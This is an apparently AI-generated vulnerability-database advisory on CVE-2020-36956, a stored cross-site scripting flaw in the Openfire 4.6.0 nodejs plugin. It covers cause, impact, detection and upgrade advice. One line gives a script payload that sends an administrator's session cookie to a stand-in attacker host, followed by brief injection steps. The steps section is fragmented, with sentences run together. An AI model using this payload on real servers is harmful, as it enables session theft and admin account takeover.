
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2020-36956 is a stored cross-site scripting (XSS) vulnerability in Openfire 4.6.0, specifically within the nodejs plugin. Authenticated attackers can inject malicious scripts through the path parameter, which are then executed in the browser context of administrative users who view the nodejs configuration page. The vulnerability was published to NVD on January 26, 2026, and assigned by VulnCheck. It carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, VulnCheck Advisory).
The root cause is improper neutralization of user-supplied input during web page generation (CWE-79 — Stored XSS). An authenticated attacker with access to the nodejs plugin configuration submits a crafted payload containing script tags in the path parameter; this input is stored server-side and rendered unsanitized when an administrator views the configuration page, triggering arbitrary JavaScript execution in the admin's browser session. Exploitation requires low privileges (authenticated access) but no user interaction beyond the administrator naturally navigating to the affected page. A public exploit is available on Exploit-DB (EDB-49229) (Exploit-DB, VulnCheck Advisory).
Successful exploitation allows an attacker to execute arbitrary JavaScript within an administrator's authenticated session, enabling session token theft, unauthorized administrative actions, and potential account takeover of the Openfire management interface. The confidentiality and integrity of the admin panel are compromised, though availability is not directly affected. Because the payload executes in an admin context, an attacker could leverage this to further pivot within the Openfire environment, modify server configurations, or exfiltrate sensitive messaging data (Red Hat CVE, VulnCheck Advisory).
A public proof-of-concept exploit is available on Exploit-DB (EDB-49229), lowering the barrier for exploitation (Exploit-DB). The EPSS score is approximately 0.01% (0.0001), indicating a very low probability of active exploitation in the wild at this time. There is no known attribution to specific threat actors, and CVE-2020-36956 does not appear in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access to the Openfire nodejs plugin configuration, which limits the attack surface to users with at least low-level privileges.
path parameter, such as </path><script>document.location='http://attacker.com/steal?c='+document.cookie</script> or a similar script tag injection.path field of the nodejs plugin configuration page and save the settings. The malicious script is now stored server-side.path configuration field, particularly entries containing <script>, javascript:, or encoded variants thereof.path value within the Openfire nodejs plugin configuration; unexpected changes to Openfire server settings or user accounts following admin logins.The primary remediation is to upgrade Openfire beyond version 4.6.0 to a patched release; the latest available version is Openfire 5.1.0 (released June 2026) (Openfire GitHub). As a workaround, administrators should disable or remove the nodejs plugin if it is not required, and restrict access to the Openfire admin console to trusted network segments or IP addresses. Input validation and output encoding controls should be verified in any custom plugins before deployment.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."